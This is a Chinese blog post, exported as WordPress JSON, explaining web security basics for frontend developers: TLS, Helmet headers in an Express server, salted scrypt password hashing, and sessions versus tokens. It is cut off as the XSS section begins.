{"id":284,"date":"2022-03-11T16:45:54","date_gmt":"2022-03-11T08:45:54","guid":{"rendered":"https:\/\/www.hgostand.com\/?p=284"},"modified":"2022-03-23T15:27:21","modified_gmt":"2022-03-23T07:27:21","slug":"%e5%89%8d%e7%ab%af%e5%bc%80%e5%8f%91%e9%9c%80%e8%a6%81%e7%9f%a5%e9%81%93%e7%9a%84%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e7%9f%a5%e8%af%86","status":"publish","type":"post","link":"https:\/\/wite.oxoooo.com\/?p=284","title":{"rendered":"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u672c\u6587\u4e3b\u8981\u6db5\u76d6\u4e86\u4ee5\u4e0b\u5185\u5bb9\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>\u8bbe\u7f6e<\/strong>\uff1a\u4e3a Web \u5e94\u7528\u7a0b\u5e8f\u7684\u5b89\u5168\u5960\u5b9a\u57fa\u7840\u3002<\/li><li><strong>\u5bc6\u7801\uff1a<\/strong>\u4fdd\u5b58\u79d8\u5bc6\u3002<\/li><li><strong>\u8eab\u4efd\u9a8c\u8bc1\uff1a<\/strong>\u4f1a\u8bdd\u3001\u4ee4\u724c\u4ee5\u53ca\u5b83\u4eec\u7684\u4f18\u7f3a\u70b9\u3002<\/li><li><strong>\u6f0f\u6d1e\uff1a<\/strong>XSS\u3001CSRF \u7b49\uff0c\u4ee5\u53ca\u5982\u4f55\u7f13\u89e3\u3002<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u7531\u4e8e\u6211\u4e3b\u8981\u4ece\u4e8b\u524d\u7aef\u548c\u5168\u6808\u5f00\u53d1\u5de5\u4f5c\uff0c\u6240\u4ee5\u8fd9\u4e9b\u4f8b\u5b50\u90fd\u662f\u7528 TypeScript \u7f16\u5199\u7684\u3002\u5f53\u7136\uff0c\u8fd9\u4e9b\u6982\u5ff5\u662f\u8bed\u8a00\u65e0\u5173\u7684\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u8bbe\u7f6e<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ba9\u6211\u4eec\u521b\u5efa\u4e00\u4e2a\u53ef\u9760\u7684 Express \u4ee3\u7801\u5e93\u4f5c\u4e3a\u6784\u5efa\u57fa\u7840\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">HTTPS<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">2022 \u5e74\u4e86\uff0c\u8981\u4f7f\u7528\u4f20\u8f93\u5c42\u5b89\u5168\uff08TLS\uff09\u3002\u514d\u8d39\u7684\uff0c\u8fd9\u4e2a\u5b89\u5168\u5c42\u53ef\u4ee5\u786e\u4fdd\u4f60\u7684\u7f51\u7ad9\u514d\u53d7\u4e2d\u95f4\u4eba\u653b\u51fb\u3001\u7a83\u542c\u548c\u7be1\u6539\u3002\u4f60\u552f\u4e00\u9700\u8981\u7684\u662f\u4e00\u4e2a\u8bc1\u4e66\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8e\u672c\u5730\u5f00\u53d1\uff0c\u8981\u4e48\u521b\u5efa\u4e00\u4e2a<a href=\"https:\/\/www.freecodecamp.org\/news\/how-to-get-https-working-on-your-local-development-environment-in-5-minutes-7af615770eec\" target=\"_blank\" rel=\"noreferrer noopener\">\u81ea\u7b7e\u540d\u8bc1\u4e66<\/a>\uff0c\u8981\u4e48\u4f7f\u7528<a href=\"https:\/\/nickjanetakis.com\/blog\/ngrok-lvhme-nipio-a-trilogy-for-local-development-and-testing#lvh-me\" target=\"_blank\" rel=\"noreferrer noopener\">lvh.me<\/a>\uff0c\u540e\u8005\u552f\u4e00\u7684\u5de5\u4f5c\u662f\u5c06\u4efb\u4f55\u8bf7\u6c42\u53cd\u5c04\u5230\u4f60\u81ea\u5df1\u7684<code>localhost<\/code>\uff08\u5bf9\u4e8e\u5b50\u57df\u540d\u7279\u522b\u65b9\u4fbf\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u4f60\u5c06\u5e94\u7528\u7a0b\u5e8f\u6258\u7ba1\u5728\u5916\u65f6\uff0c\u6240\u6709\u73b0\u4ee3\u5316\u7684\u670d\u52a1\u2014\u2014Vercel\u3001Netlify\u3001Heroku\u2014\u2014\u90fd\u4f1a\u5e2e\u4f60\u5904\u7406\u8bc1\u4e66\u3002\u5982\u679c\u4f60\u53d1\u73b0\u81ea\u5df1\u9700\u8981\u4e00\u4e2a\u8bc1\u4e66\uff0c<a href=\"https:\/\/letsencrypt.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">Let&#8217;s Encrypt<\/a>\u4f1a\u5e2e\u5230\u4f60\uff0c\u800c\u4e14\u662f\u514d\u8d39\u7684\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u62a5\u5934\uff08Headers\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/expressjs.com\/en\/advanced\/best-practice-security.html#use-helmet\" target=\"_blank\" rel=\"noreferrer noopener\">Express\u5b98\u65b9\u5efa\u8bae<\/a>\uff0c\u4f7f\u7528 Helmet \u5bf9\u62a5\u5934\u505a\u6070\u5f53\u7684\u8bbe\u7f6e\uff0c\u4ee5\u9632\u8303\u4f17\u6240\u5468\u77e5\u7684 Web \u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0cHelmet \u7981\u7528\u4e86<code>x-powered-by<\/code>\uff08\u90a3\u4e2a\u6cc4\u9732\u5e94\u7528\u7a0b\u5e8f\u5f15\u64ce\u7684\u5934\u5b57\u6bb5\uff09\uff0c\u542f\u7528\u4e86 HSTS\uff08\u544a\u8bc9\u6d4f\u89c8\u5668\u4f18\u5148\u9009\u62e9 HTTPS\uff09\uff0c\u5e76\u7981\u7528\u4e86 MIME \u7c7b\u578b\u55c5\u63a2\uff08\u8fd9\u5f88\u5371\u9669\uff0c\u4f8b\u5982\uff0c\u5f53\u4f60\u6b63\u5728\u52a0\u8f7d\u4e00\u4e2a\u6587\u672c\u6587\u4ef6\uff0c\u4f46\u4f60\u7684\u6d4f\u89c8\u5668\u8ba4\u4e3a\u5b83\u662f<code>text\/javascript<\/code>\uff09\u3002\u5982\u679c\u4f60\u60f3\u4e86\u89e3\u6240\u6709\u7684\u7ec6\u8282\uff0c\u53ef\u4ee5\u770b\u770b<a href=\"https:\/\/helmetjs.github.io\/#how-it-works\" target=\"_blank\" rel=\"noreferrer noopener\">Helmet\u7684\u9ed8\u8ba4\u8bbe\u7f6e<\/a>\u3002\u8fd9\u786e\u5b9e\u8ba9\u4eba\u611f\u89c9\u5f88\u5408\u7406\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u56e0\u6b64\uff0cExpress \u670d\u52a1\u5668\u7684\u57fa\u672c\u4ee3\u7801\u53ef\u80fd\u4f1a\u662f\u4e0b\u9762\u8fd9\u4e2a\u6837\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>import express from \"express\";<\/code><code>\timport fs from \"fs\";<\/code><code>\timport helmet from \"helmet\";<\/code><code>\timport https from \"https\";<\/code><code>\timport path from \"path\";<\/code><code>\t<\/code><code>\tconst app = express();<\/code><code>\t\/\/ \u907f\u514d\u624b\u52a8\u8c03\u6574CSP\u3001HSTS\u3001X-Powered-By\u3001MIME-sniffing\u7b49\uff1b\u5c3d\u53ef\u80fd\u8bbe\u7f6e\u6700\u4e25\u683c\u7684CSP\u3002<\/code><code>\tapp.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: \"'self'\" } } }));<\/code><code>\tapp.use(express.json());<\/code><code>\t<\/code><code>\tconst client = path.resolve(__dirname, \"..\/build\");<\/code><code>\tif (fs.existsSync(client)) app.use(express.static(client));<\/code><code>\t<\/code><code>\tapp.get(\"\/healthz\", (_, res) =&gt; { res.send({ message: \"We're live ?\" }); });<\/code><code>\t<\/code><code>\tconst httpsOptions = {<\/code><code>\tkey: fs.readFileSync(path.join(__dirname, \".\/tls\/cert.key\")),<\/code><code>\tcert: fs.readFileSync(path.join(__dirname, \".\/tls\/cert.pem\")),<\/code><code>\t};<\/code><code>\t<\/code><code>\tconst portHttps = process.env.PORT_HTTPS || 8080;<\/code><code>\thttps.createServer(httpsOptions, app).listen(portHttps, async () =&gt; {<\/code><code>\tconsole.log(`HTTPS server listening at ${portHttps}`); \/\/ eslint-disable-line no-console<\/code><code>\t});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u590d\u5236\u4ee3\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528 Helmet \u548c TLS \u7684 Express \u57fa\u672c\u8bbe\u7f6e\uff08\u4ee3\u7801\u6765\u6e90\uff1a<a href=\"https:\/\/github.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>\uff0c\u6587\u4ef6\uff1a<a href=\"https:\/\/gist.github.com\/tadeaspetak\/be370d48d9e995adfdc099b5bc542587#file-fullstack-security-server-ts\" target=\"_blank\" rel=\"noreferrer noopener\">fullstack-security-server.ts<\/a>\uff09<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u5bc6\u7801<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u6237\u5b58\u50a8\u5b89\u5168\u7684\u57fa\u7840\u662f\u4fdd\u62a4\u7528\u6237\u5bc6\u7801\u3002\u8ba9\u6211\u4eec\u901a\u8fc7\u4ee5\u4e0b\u9009\u9879\uff0c\u4e00\u6b65\u4e00\u6b65\u5730\u8fdb\u884c\u4f18\u5316\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>\u5982\u679c\u4f60\u7528\u660e\u6587\u5b58\u50a8\u7528\u6237\u5bc6\u7801\uff0c\u90a3\u4e48\u5982\u679c\u6709\u4eba\u8bbf\u95ee\u4e86\u4f60\u7684\u6570\u636e\u5e93\uff0c\u6240\u6709\u7528\u6237\u8d26\u53f7\u5c31\u6cc4\u6f0f\u4e86\u3002\u8fd9\u53ef\u4e0d\u597d\u3002<\/li><li>\u8ba9\u6211\u4eec\u5bf9\u5bc6\u7801\u8fdb\u884c\u54c8\u5e0c\u3002\u8fd9\u7a0d\u5fae\u597d\u4e00\u70b9\uff0c\u4f46\u5982\u679c\u653b\u51fb\u8005\u624b\u5934\u6709\u4e00\u4e2a\u5f69\u8679\u8868\uff08 rainbow table\uff09\u2014\u2014\u4e00\u4e2a\u5c06\u666e\u901a\u5b57\u7b26\u4e32\u6620\u5c04\u5230\u5176\u54c8\u5e0c\u503c\u7684\u8868\u2014\u2014\u90a3\u4e48\u5c06\u54c8\u5e0c\u503c\u8f6c\u6362\u4e3a\u666e\u901a\u5b57\u7b26\u4e32\u5c31\u662f\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u7684\u95ee\u9898\u4e86\u3002<\/li><li>\u4e00\u65e6\u6211\u4eec\u5728\u54c8\u5e0c\u503c\u4e2d\u52a0\u4e86<em>\u76d0<\/em>\uff0c\u60c5\u51b5\u5c31\u4f1a\u5927\u5927\u6539\u5584\u3002\uff08<em>\u52a0\u76d0<\/em>\u662f\u5728\u6bcf\u4e2a\u5bc6\u7801\u4e2d\u52a0\u5165\u4e00\u4e2a\u79d8\u5bc6\u7684\u968f\u673a\u5b57\u7b26\u4e32\u3002\uff09\u9664\u975e\u653b\u51fb\u8005\u83b7\u5f97\u4e86\u4f60\u7684\u670d\u52a1\u5668\u7684\u8bbf\u95ee\u6743\u2014\u2014\u8fd9\u65f6\uff0c\u62b5\u6297\u5df2\u662f\u5f92\u52b3\u2014\u2014\u53d1\u73b0\u4e86\u4f60\u7684\u76d0\u7f50\uff0c\u5e76\u4e3a\u8be5\u7279\u5b9a\u7684<em>\u76d0<\/em>\u8ba1\u7b97\u4e00\u4e2a\u5f69\u8679\u8868\uff0c\u5426\u5219\u4ed6\u4eec\u65e0\u6cd5\u5c06\u6570\u636e\u5e93\u4e2d\u7684\u54c8\u5e0c\u503c\u7ffb\u8bd1\u6210\u666e\u901a\u5b57\u7b26\u4e32\u3002\u7136\u800c\uff0c\u6709\u4e00\u4e2a\u6781\u7aef\u60c5\u51b5\u3002\u5982\u679c Elsa \u7684\u5bc6\u7801\u6070\u597d\u4e0e Anna \u7684\u5bc6\u7801\u76f8\u540c\uff0c\u90a3\u4e48\u5b83\u4eec\u5c06\u6620\u5c04\u5230\u76f8\u540c\u7684\u54c8\u5e0c\u503c\u3002\u8fd9\u4f3c\u4e4e\u53ef\u4ee5\u63a5\u53d7\uff0c\u4f46\u5982\u679c\u4f60\u5e0c\u671b\u89c9\u5f97\u81ea\u5df1\u662f\u4e2a\u4e13\u5bb6\u5462\uff1f<\/li><li>\u4f60\u53ef\u4ee5\u4e3a\u6bcf\u4e2a\u7528\u6237\u4f7f\u7528\u4e0d\u540c\u7684<em>\u76d0<\/em>\u3002\u5f53\u7136\uff0c\u4f60\u9700\u8981\u628a<em>\u76d0<\/em>\u548c\u54c8\u5e0c\u503c\u653e\u5728\u4e00\u8d77\uff0c\u8fd9\u6837\u4f60\u5c31\u53ef\u4ee5\u9a8c\u8bc1\u767b\u5f55\u65f6\u53d1\u9001\u7684\u51ed\u8bc1\uff0c\u8fd9\u6ca1\u4ec0\u4e48\u3002\u6e10\u5165\u4f73\u5883\uff01\u5982\u679c\u653b\u51fb\u8005\u6709\u673a\u4f1a\u83b7\u5f97\u4e00\u4e9b\u4ee4\u4eba\u5370\u8c61\u6df1\u523b\u7684\u8ba1\u7b97\u80fd\u529b\u5462\uff1f<\/li><li>\u8fd9\u65f6\uff0c<a href=\"https:\/\/crypto.stackexchange.com\/questions\/8159\/what-is-the-difference-between-scrypt-and-pbkdf2\" target=\"_blank\" rel=\"noreferrer noopener\">\u5bc6\u94a5\u884d\u751f\u51fd\u6570<\/a>\u5c31\u53ef\u4ee5\u53d1\u6325\u4f5c\u7528\u4e86\u3002\u8fd9\u4e9b\u51fd\u6570\u5b9e\u73b0\u4e86\u5bc6\u94a5\u6269\u5c55\uff0c\u5b83\u4eec\u63a5\u6536\u4e00\u4e2a\uff08\u53ef\u80fd\u5f88\u5f31\u7684\uff09\u53e3\u4ee4\uff0c\u5e76\u6545\u610f\u4f7f\u5176\u6563\u5217\u503c\u8ba1\u7b97\u53d8\u5f97\u6602\u8d35\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u4f7f\u86ee\u529b\u4e0d\u90a3\u4e48\u6709\u7528\u3002<code>pbkdf2<\/code>&nbsp;\u548c<code>scrypt<\/code> \u5c31\u662f\u8fd9\u6837\u7684\u4e24\u4e2a\u51fd\u6570\u3002<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u5177\u4f53\u6765\u8bf4\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528 Node.js \u7279\u6709\u7684<code>crypto.scrypt(password, salt, 64)<\/code>\u6765\u8ba1\u7b97\u5bc6\u7801\u54c8\u5e0c\u503c\uff0864 \u4e2a\u5b57\u7b26\u957f\u5ea6\uff09\uff0c\u5e76\u5728\u6bcf\u4e2a\u7528\u6237\u7684\u8bb0\u5f55\u4e2d\u5c06<code>saltsalt<\/code>\u548c<code>password<\/code>\u4e00\u8d77\u4fdd\u5b58\u3002\u8bf7\u6ce8\u610f\uff0c<code>scrypt<\/code>\u5b9e\u9645\u4e0a\u5728\u5185\u90e8\u4f7f\u7528\u4e86<code>pbkdf2<\/code>\uff0c\u4f46\u5bf9\u8ba1\u7b97\u54c8\u5e0c\u503c\u6240\u9700\u7684\u5185\u5b58\u6709\u66f4\u9ad8\u7684\u8981\u6c42\uff0c\u8fdb\u4e00\u6b65\u964d\u4f4e\u4e86\u66b4\u529b\u653b\u51fb\u7684\u56de\u62a5\u7387\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u8eab\u4efd\u9a8c\u8bc1<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u4f60\u6ca1\u6709\u767b\u5f55\uff0c\u6216\u8005\u76ee\u524d\u6ca1\u6709\u63d0\u4ea4\u654f\u611f\u4fe1\u606f\uff0c\u5c31\u6ca1\u6709\u4ec0\u4e48\u906d\u53d7\u653b\u51fb\u7684\u5371\u9669\u3002\u53ea\u6709\u5f53\u4f60\u8bbf\u95ee\u4e00\u4e2a\u670d\u52a1\u5e76\u8fdb\u884c\u8ba4\u8bc1\u65f6\uff0c\u4e8b\u60c5\u624d\u4f1a\u53d8\u5f97\u6709\u8da3\u8d77\u6765\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ba9\u6211\u4eec\u56de\u987e\u4e00\u4e0b\u7528\u6237\u8eab\u4efd\u9a8c\u8bc1\u7684\u5e38\u89c1\u65b9\u5f0f\uff1a\u4f1a\u8bdd\u548c\u4ee4\u724c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>(\u6ce8\u610f\uff1a\u6211\u4eec\u7528<\/em><code>crypto.randomBytes(64).toString(\"hex\")<\/code> \u751f\u6210\u968f\u673a\u5b57\u7b26\u4e32\u3002<em>)<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Cookie \u4e2d\u7684\u4f1a\u8bdd<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Cookie \u662f\u5728\u670d\u52a1\u5668\u4e0a\u521b\u5efa\u5e76\u5b58\u50a8\u5728\u7528\u6237\u8bbe\u5907\uff08\u901a\u5e38\u662f\u6d4f\u89c8\u5668\uff09\u4e0a\u7684\u5c0f\u6570\u636e\u5757\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b83\u4eec\u7684\u4e3b\u8981\u7279\u70b9\u662f\uff0c\u4e00\u65e6\u521b\u5efa\uff0c\u5c31\u4f1a\u968f\u7740\u7279\u5b9a\u57df\u540d\u7684\u6240\u6709\u8bf7\u6c42\u5728\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u5668\u4e4b\u95f4\u4f20\u9012\uff0c\u800c\u4f60\u4e0d\u9700\u8981\u4e3a\u6b64\u505a\u4efb\u4f55\u5de5\u4f5c\u3002\u6807\u51c6\u7684\u4f1a\u8bdd\u6d41\u7a0b\u76f8\u5f53\u7b80\u5355\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>\u63d0\u4ea4\u8bc1\u4e66\u3002<\/li><li>\u5728\u670d\u52a1\u5668\u4e0a\u521b\u5efa\u4e00\u4e2a\u968f\u673a\u7684<code>sessionId<\/code> \uff0c\u5c06\u5176\u4fdd\u5b58\u5728\u6570\u636e\u5e93\u4e2d\uff0c\u5e76\u5728 Cookie \u4e2d\u53d1\u9001\u56de\u6765\u3002<\/li><li>\u7136\u540e\uff0c\u6d4f\u89c8\u5668\u5728\u968f\u540e\u7684\u8bf7\u6c42\u4e2d\u81ea\u52a8\u5305\u62ec\u4e0a\u8ff0 Cookie\uff0c\u4f7f\u670d\u52a1\u5668\u80fd\u591f\u9a8c\u8bc1\u8bf7\u6c42\u662f\u5426\u4e0e\u5b83\u4eec\u58f0\u79f0\u7684\u4e00\u6837\u3002<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u4ee4\u724c<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f60\u53ef\u80fd\u5df2\u7ecf\u7528\u8fc7 JWT\uff0c\u4f46\u5728\u57fa\u4e8e\u4ee4\u724c\u7684\u8eab\u4efd\u9a8c\u8bc1\u4e2d\uff0c\u4ee4\u724c\u53ef\u4ee5\u662f\u4efb\u4f55\u4e1c\u897f\uff0c\u53ea\u8981\u80fd\u591f\u9a8c\u8bc1\u662f\u4f60\u7684\u670d\u52a1\u5668\u53d1\u51fa\u7684\u5c31\u53ef\u4ee5\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u5b83\u9700\u8981\u4e00\u4e2a\u53ef\u4fe1\u8d56\u7684\u7b7e\u540d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7531\u4e8e\u8fd9\u79cd\u65b9\u6cd5\u6ca1\u6709\u4f7f\u7528\u4efb\u4f55\u6807\u51c6\u673a\u5236\uff08\u50cf Cookie \u90a3\u6837\uff09\uff0c\u6240\u4ee5\u8981\u7531\u5ba2\u6237\u7aef\u6765\u786e\u4fdd\u4ee4\u724c\u5728\u6240\u6709\u8eab\u4efd\u9a8c\u8bc1\u8bf7\u6c42\u4e2d\u90fd\u5b58\u5728\u3002\u56e0\u6b64\uff0c\u6d41\u7a0b\u7c7b\u4f3c\u4e0b\u9762\u8fd9\u6837\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>\u63d0\u4ea4\u8bc1\u4e66\u3002<\/li><li>\u5728\u670d\u52a1\u5668\u4e0a\u521b\u5efa\u4e00\u4e2a\u7ecf\u8fc7\u7b7e\u540d\u7684\u4ee4\u724c\uff0c\u5e76\u53d1\u56de\u5ba2\u6237\u7aef\u3002<\/li><li>\u5c06\u4ee4\u724c\u4fdd\u5b58\u5728\u5ba2\u6237\u7aef\uff0c\u901a\u5e38\u662f\u672c\u5730\u5b58\u50a8\u4e2d\u3002<\/li><li>\u624b\u52a8\u5c06\u4ee4\u724c\u9644\u52a0\u5230\u672a\u6765\u7684\u8bf7\u6c42\u4e0a\u3002<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f1a\u8bdd vs. \u4ee4\u724c<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ee5\u4e0b\u662f\u4f1a\u8bdd\u4e0e\u4ee4\u724c\u7684\u4e3b\u8981\u533a\u522b\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>\u5b58\u50a8<\/strong>\uff1a<code>sessionId<\/code>\u540c\u65f6\u5b58\u50a8\u5728\u670d\u52a1\u5668\uff08\u6570\u636e\u5e93\uff09\u548c\u5ba2\u6237\u7aef\uff08Cookie\uff09\u3002\u4ee4\u724c\u53ea\u5b58\u50a8\u5728\u5ba2\u6237\u7aef\uff0c\u4f7f\u5176\u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u662f\u65e0\u72b6\u6001\u7684\u3002<\/li><li><strong>\u9a8c\u8bc1<\/strong>\uff1a\u5f53\u9a8c\u8bc1 Cookie \u4e2d\u7684<code>sessionId<\/code>\u65f6\uff0c\u4f60\u9700\u8981\u67e5\u8be2\u6570\u636e\u5e93\u3002\u5bf9\u4e8e\u4ee4\u724c\uff0c\u4f60\u53ea\u9700\u9a8c\u8bc1\u4ee4\u724c\u7684\u7b7e\u540d\u3002<\/li><li><strong>\u591a\u57df<\/strong>\uff1a\u672c\u8d28\u4e0a\u8bb2\uff0cCookie \u53ea\u5728\u5355\u4e2a\u57df\u4e2d\u53ef\u7528\u3002\u7531\u4e8e\u4ee4\u724c\u662f\u624b\u5de5\u6dfb\u52a0\u7684\uff0c\u4f60\u53ef\u4ee5\u628a\u5b83\u4eec\u53d1\u9001\u5230\u4efb\u4f55\u76ee\u7684\u5730\u3002\u8fd9\u4f7f\u5f97\u5b83\u4eec\u5728\u8de8\u57df\u7684\u60c5\u51b5\u4e0b\u80dc\u51fa\u3002\u6b64\u5916\uff0c\u5982\u4f60\u6240\u89c1\uff0c\u4f7f\u7528\u4ee4\u724c\uff0c\u4f60\u5c31\u4e0d\u9700\u8981\u8003\u8651\u6570\u636e\u5e93\u67e5\u8be2\u4e86\u3002<\/li><li><strong>\u64a4\u9500<\/strong>\uff1a\u56e0\u4e3a\u4f1a\u8bdd\u53ef\u4ee5\u5728\u670d\u52a1\u5668\u4e0a\u5220\u9664\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u96c6\u4e2d\u64a4\u9500\u3002\u800c\u4ee4\u724c\u5fc5\u987b\u5728\u5ba2\u6237\u7aef\u5220\u9664\u3002\u5982\u679c\u4f60\u9700\u8981\u201c\u5728\u6240\u6709\u8bbe\u5907\u4e0a\u7b7e\u51fa\u201d\u8fd9\u79cd\u6709\u5438\u5f15\u529b\u7684\u529f\u80fd\uff0c\u90a3\u4e48\u4f1a\u8bdd\u662f\u4e00\u4e2a\u66f4\u597d\u7684\u9009\u62e9\u3002\u5f53\u7528\u6237\u91cd\u8bbe\u5bc6\u7801\u6216\u4ed6\u4eec\u7684\u8d26\u6237\u88ab\u6cc4\u9732\u65f6\uff0c\u60c5\u51b5\u4e5f\u662f\u5982\u6b64\u3002\uff08\u5bf9\u4e8e\u4ee4\u724c\uff0c\u4f60\u53ef\u4ee5\u6dfb\u52a0\u4e00\u4e2a\u7981\u6b62\u8868\uff0c\u5217\u51fa\u4e0b\u6b21\u4e0d\u5e94\u63a5\u53d7\u5176\u4ee4\u724c\u7684\u7528\u6237\uff0c\u4f46\u8fd9\u6837\u4e00\u6765\uff0c\u65e0\u72b6\u6001\u7684\u597d\u5904\u4e5f\u5c31\u4e0d\u5b58\u5728\u4e86&#8230;&#8230;\uff09<\/li><li><strong>\u6f0f\u6d1e<\/strong>\uff1a\u7531\u4e8e Cookie \u662f\u7531\u6d4f\u89c8\u5668\u81ea\u52a8\u5305\u542b\u8fdb\u53bb\u7684\uff0c\u6240\u4ee5\u4f1a\u8bdd\u5bb9\u6613\u53d7\u5230 CSRF \u7684\u5f71\u54cd\u3002\u7531\u4e8e\u4ee4\u724c\u901a\u5e38\u5b58\u5728\u4e8e\u672c\u5730\u5b58\u50a8\u4e2d\uff0c\u6240\u4ee5\u5b83\u4eec\u66f4\u5bb9\u6613\u88ab XSS \u7a83\u53d6\u3002\u5173\u4e8e CSRF \u548c XSS\uff0c\u4e0b\u9762\u6709\u66f4\u8be6\u7ec6\u7684\u4ecb\u7ecd\u3002<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\uff08\u6ce8\u610f\uff1a\u7406\u8bba\u4e0a\uff0c\u4f60\u4e5f\u53ef\u4ee5\u628a\u4ee4\u724c\u5b58\u50a8\u5728 Cookie \u4e2d\u3002\u7136\u800c\uff0c\u5728\u6211\u770b\u6765\uff0c\u8fd9\u6709\u70b9\u8fdd\u80cc\u521d\u8877\uff0c\u56e0\u4e3a\u5bb9\u6613\u53d7\u5230 CSRF \u5f71\u54cd\u5c31\u6210\u4e86\u4e00\u4e2a\u95ee\u9898\uff0c\u8de8\u57df\u4f18\u52bf\u4e5f\u8361\u7136\u65e0\u5b58\u3002\u6b64\u5916\uff0cJWT \u6bd4<\/em><code>sessionId<\/code> <em>\u5927\u5f97\u591a\uff0c\u628a\u5b83\u4eec\u5b58\u50a8\u5728 Cookie \u4e2d\u589e\u52a0\u4e86\u5f00\u9500\u3002\uff09<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u4f60\u60f3\u8981\u66f4\u6df1\u5165\u7684\u4e86\u89e3\u4e0b\uff0c\u90a3\u4e48\u53ef\u4ee5\u770b\u4e0b<a href=\"https:\/\/dzone.com\/articles\/cookies-vs-tokens-the-definitive-guide\" target=\"_blank\" rel=\"noreferrer noopener\">\u4ee4\u724c\u652f\u6301\u8005\u7684\u7406\u7531<\/a>\uff0c\u4ee5\u53ca<a href=\"https:\/\/stackoverflow.com\/a\/44209185\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f1a\u8bdd&amp;Cookie\u652f\u6301\u8005\u7684\u7406\u7531<\/a>\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u5e38\u89c1\u6f0f\u6d1e<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u7531\u4e8e\u6211\u4eec\u6709\u4e00\u53f0\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1\u5668\uff0c\u6211\u4eec\u77e5\u9053\u5982\u4f55\u4fdd\u62a4\u7528\u6237\u7684\u4fe1\u606f\uff0c\u5e76\u4e14\u53ef\u4ee5\u4f7f\u7528\u6211\u4eec\u7684\u670d\u52a1\u5bf9\u4eba\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\uff0c\u6240\u4ee5\u6211\u4eec\u6700\u7ec8\u8fd8\u662f\u5bb9\u6613\u53d7\u5230\u4e00\u4e9b\u5e38\u89c1\u6f0f\u6d1e\u7684\u5f71\u54cd\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\uff08\u6ce8\u610f\uff1a\u6211\u5728\u8fd9\u91cc\u53ea\u4ecb\u7ecd\u4e0b XSS \u548c CSRF\uff0c\u4f46\u8fd8\u6709\u8bb8\u591a\u5176\u4ed6\u7684\u6f0f\u6d1e\u3002\u5bf9\u4e8e\u521d\u5b66\u8005\uff0c\u6211\u5efa\u8bae\u4f60\u770b\u4e0b<\/em><a href=\"https:\/\/owasp.org\/www-project-top-ten\" target=\"_blank\" rel=\"noreferrer noopener\"><em>OWASP\u63d0\u4f9b\u7684\u8fd9\u4efd\u6e05\u5355<\/em><\/a><em>\u3002\uff09<\/em><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff08XSS\uff09<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f88\u7b80\u5355\uff0cXSS 